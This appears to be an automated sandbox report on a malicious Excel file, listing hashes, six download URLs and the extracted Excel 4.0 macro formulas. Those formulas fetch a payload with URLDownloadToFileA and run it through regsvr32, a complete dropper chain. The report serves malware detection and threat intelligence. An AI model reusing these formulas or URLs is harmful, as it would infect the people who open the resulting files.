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General

  • Target

    f73689ec2c5b068044c2663232f579af785365925592a7a2fe6dea90ef0b22ec

  • Size

    40KB

  • Sample

    241111-zm75hsweqc

  • MD5

    31d95c8133a8013caae4d3588b0cbee4

  • SHA1

    b3ed71e0cebb54887ea980070cafe08642e8f0f3

  • SHA256

    f73689ec2c5b068044c2663232f579af785365925592a7a2fe6dea90ef0b22ec

  • SHA512

    93255e395e42a82c1a48562790c6b6ba70c8affc981e96caccf3bb6cb505d91e88d6e9435b4caeef8272d542b07175f6126449f8ea15c22ec38336a113cc8b1a

  • SSDEEP

    768:itby3nCsqi1O3mnOzyKfcrND59V+L9Rw4eWrXcTqy0y3:abunC5iymqylND59V4jwmXc2Xy3

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://foroviviendaparaguay.com/wp-admin/hx8U6XMffnkv8HI2Oig/

http://en.pachammer.com/wp-content/vIG/

http://ghsjalkherabsr.com/oz03n/6XeYLjFXcFE/

http://ghsmadonabsr.com/wp-includes/Of4kQNCp2WLy0F4B/

http://www.aacitygroup.com/wp-content/EkY9/

https://theoutsourcedaccountant.com/images/nFikTQmP/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://foroviviendaparaguay.com/wp-admin/hx8U6XMffnkv8HI2Oig/","..\xda.ocx",0,0) =IF('EFEGVE'!F12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://en.pachammer.com/wp-content/vIG/","..\xda.ocx",0,0)) =IF('EFEGVE'!F14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://ghsjalkherabsr.com/oz03n/6XeYLjFXcFE/","..\xda.ocx",0,0)) =IF('EFEGVE'!F16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://ghsmadonabsr.com/wp-includes/Of4kQNCp2WLy0F4B/","..\xda.ocx",0,0)) =IF('EFEGVE'!F18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.aacitygroup.com/wp-content/EkY9/","..\xda.ocx",0,0)) =IF('EFEGVE'!F20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://theoutsourcedaccountant.com/images/nFikTQmP/","..\xda.ocx",0,0)) =IF('EFEGVE'!F22<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\xda.ocx") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://foroviviendaparaguay.com/wp-admin/hx8U6XMffnkv8HI2Oig/

Targets

    • Target

      f73689ec2c5b068044c2663232f579af785365925592a7a2fe6dea90ef0b22ec

    • Size

      40KB

    • MD5

      31d95c8133a8013caae4d3588b0cbee4

    • SHA1

      b3ed71e0cebb54887ea980070cafe08642e8f0f3

    • SHA256

      f73689ec2c5b068044c2663232f579af785365925592a7a2fe6dea90ef0b22ec

    • SHA512

      93255e395e42a82c1a48562790c6b6ba70c8affc981e96caccf3bb6cb505d91e88d6e9435b4caeef8272d542b07175f6126449f8ea15c22ec38336a113cc8b1a

    • SSDEEP

      768:itby3nCsqi1O3mnOzyKfcrND59V+L9Rw4eWrXcTqy0y3:abunC5iymqylND59V4jwmXc2Xy3

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

MITRE ATT&CK Enterprise v15

Tasks